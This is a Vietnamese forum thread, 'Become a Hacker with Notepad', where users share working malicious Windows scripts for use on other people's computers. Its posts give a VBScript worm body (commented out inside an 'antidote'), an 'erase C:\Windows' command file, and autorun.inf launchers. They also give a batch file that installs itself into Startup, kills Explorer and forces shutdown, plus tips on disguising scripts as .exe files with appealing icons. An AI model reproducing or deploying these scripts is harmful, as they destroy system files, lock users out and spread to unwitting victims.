Trở Thành Hacker Với Notepad

[seonovaland]

Chỉ là các đoạn script vb tự động tạo file hoặc hiện bảng thông báo MessageBox thôi các bạn end process là được , tên process là wscript.exe



Windows-based script

[seonovaland]

Cho hỏi cái, con VR 3 có phải đoạn "do ... loop" như kiểu vòng lặp "do ... while " trong C# k nhỉ, trông giống giống ??? mong chỉ giáo

[phuongdtn]

[QUOTE="[D]on"]cũ mèn :Ma (41):

ak` còn nữa liệu có thể đặt tên khác cho con zi rút đó đc hem

Tất Nhiên Là Đc Mà mình Cũng Có Thể Đổi Đuôi Thành .exe Chạy Cho Sướng


Dùng Cái này chuyển thành .exe

http://www.mediafire.com/?us49axw15wva4pd

Dùng Cái này chuyển Icon thành cái gì đẹp đẹp Và Dễ Dụ Hơn haha

http://www.mediafire.com/?gx14jna02zd96ct

@namtuocma
@trungpro

con virut 3 muốn tắt thì làm như thế nào vậy

Bấm Ctrl+Alt+Delete Chọn wscript.exe đó bấm delete xong
hoặc Dùng procexp để tắt

link nà

http://www.mediafire.com/?zjzormzmjaz

Nhìn Hình nha

sao thuốc giải cho con virut đầu ko có công hiêu kìa, em đang test thử rồi mới dám quăng cho người ta, ai dzè, nó ko xóa, nãy giờ em phải xóa bằng tay. hic... đọc kĩ thì thấy thuốc giải với thuốc động không khác nhau chứ nào hết. hu hu hu ọe

Bạn Coi Lại Đi Mình giải vẫn bình thường

Cho hỏi cái, con VR 3 có phải đoạn "do ... loop" như kiểu vòng lặp "do ... while " trong C# k nhỉ, trông giống giống ??? mong chỉ giáo

Không Phải Bạn Ơi:Ma (77):


Đã Update Thêm Mấy Con Mới

[phuongdtn]

Bạn coi Lại Đi Mình giải vẫn bình thường

đúng là nó có hết nhưng mà nó ko tự xóa mấy cái file nó tạo ra... em toàn phải tự xóa bằng tay thôi.....
:Ma (33)::Ma (33)::Ma (33):

[supports]

Bạn coi Lại Đi Mình giải vẫn bình thường

Thuốc giải của bạn hìn trên xuống dưới ko có chỗ nào là delete mấy cái file đó cả

'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso_OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:\")
FolderList("N:\")
FolderList("O:\")
FolderList("P:\")
FolderList("Q:\")
FolderList("R:\")
FolderList("S:\")
FolderList("T:\")
FolderList("U:\")
FolderList("V:\")
FolderList("X:\")
FolderList("Y:\")
FolderList("Z:\")
FolderList("W:\")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss!!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus Boss!!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus Boss!!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

[supports]

Thuốc giải của bạn hìn trên xuống dưới ko có chỗ nào là delete mấy cái file đó cả

bác jen ơi sao cía phần trích dẫn của bác ko giống phần thuốc giải của chủ thớt vậy, hình như của bác dài hơn đúng ko. mà cái của bác là cái dùng để cứu máy ấy ak`

<-- Bổ sung bài viết -->​

chủ th0t cho hỏi lun nha: con vr 2 ( tự tắt máy ) đặt đuôi là gì trả lời sớm nhá!!

[supports]

sao thuốc giải cho con virut đầu ko có công hiêu kìa, em đang test thử rồi mới dám quăng cho người ta, ai dzè, nó ko xóa, nãy giờ em phải xóa bằng tay. hic... đọc kĩ thì thấy thuốc giải với thuốc động không khác nhau chứ nào hết. hu hu hu ọe

của bạn đây:

'Thuoc Giai !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso_OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus Boss!!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus Boss!!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus Boss!!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus Boss!!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

lưu lại dạng ***.bat
con số 3 ko có thuốc giải nhưng diệt thì dễ: kill process :d vô task manger
3) Góp con này cho vui:

erase C:\Windows

lưu lại tên bất kì *.cmd
run nào và win down luôn( ko nên thử )
4) cách này thử xem:
mở notepad gõ:

[Autorun]
open=AutoRunPro.exe

[AutorunPro]
Run1=hack.vbs
Run2=hack.vbs
Run3=hack.vbs
Run4=hack.vbs
Run5=hack.vbs

lưu file với tên bất kì *.inf
tiếp tục mở notepad gõ:

while true
wend

lưu với tên bất kì *.vbs ( tên bạn đặt phải trùng tên trong mã code : run1=*.vbs )
để 2 cái chung 1 chỗ và bạn chạy file *.inf :d
5) dựa trên virut số 3 mình viết chơi:
file autorun thì bạn làm giống trên:

[Autorun]
open=AutoRunPro.exe

[AutorunPro]
Run1=virut.vbs
Run2=hay.reg

virut 3:

msgbox " Đừng có tắt dòng thông báo này đi nếu không bạn sẽ gặp rắc rối đó!",,"Thông báo rùi nhé không nghe ráng chịu!"
msgbox "Đã Kêu Đừng Bấm Vào Rồi Sao Vẫn Bấm Lỳ Vậy"
do

msgbox "Bạn đã bị lừa Hiện giờ bạn không thể tắt thông báo này được! ha ha ha!",,"Liên Hệ [D]on Để Tắt Thông Báo Này"
loop

lưu thành virut.vbs
thêm con này:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesSystem]

"DisableTaskMgr"=dword:00000000

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentV ersionpoliciessystem]

"DisableTaskMgr"=dword:00000000

lưu lại với tên hay.reg
bạn ẩn 2 file hay.reg và virut.vbs
6) còn cái này là theo mình nghĩ:

copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
cls
taskkill /f /im explorer.exe
cls
shutdown.exe -f -s -t 05 -c "your computer will turn off by [D]on after 5s ..."
cls
@echo off
echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!
echo GOOD BYE SEE YOU AGAIN
pause
del thelove.bat

mình sẽ giải thích:

copy ***** "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"
cls

lệnh này dùng copy 1 file nào đó vào nơi tự hoạt động khi máy khởi động
file đó là ***** tuỳ bạn

taskkill /f /im explorer.exe
cls

diệt ko cho xài explorer ko phải nét ( mình nghĩ vậy ) => màn hình trắng bóc ko có 1 gì

shutdown.exe -f -s -t 05 -c "your computer will turn off by [D]on after 5s ..."
cls

lệnh tự tắt máy cần hay ko cần cũng được vì trong file **** bạn đã là 1 virut
XOng rồi bạn có thể áp dụng và viết những gì bạn thích

[MARQUEE]
Nào [you] thanks mình cái nào[/MARQUEE]

[vivi]

"\Virus Boss!!!!!!!.vbs"

[FLASH]http://www.youtube.com/v/l5MvPJiKQvw[/FLASH]
SPAMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMMMMMM

[khanhtham]

con virus thứ 3 em làm như anh nói nhưng khi thông báo ra màng hình thì chử có dấu nó hiện ko dc cho dù em chỉnh bảng mả unicode và font arial (hình)

[khanhtham]

con virus thứ 3 em làm như anh nói nhưng khi thông báo ra màng hình thì chử có dấu nó hiện ko dc cho dù em con bảng mả unicode và font arial (hình)

bạn thử cách này:
lúc viết xong code bạn save as lại
file type: all type
file name: **.vbs
gần chữ save có chữ Encoding: chọn unicode thay vì ansi
rồi bạn save lại